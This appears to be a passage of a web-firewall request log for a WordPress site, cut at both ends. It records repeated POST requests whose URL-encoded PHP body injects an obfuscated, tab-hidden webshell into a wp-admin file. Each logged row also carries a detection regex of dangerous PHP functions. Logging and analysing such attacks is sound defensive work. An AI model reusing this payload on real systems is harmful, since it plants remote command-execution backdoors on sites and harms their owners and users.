Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nFa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:39:15","82.223.121.85","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> df:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:6941\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\ndf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:39:20","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:6941\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\ngK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%2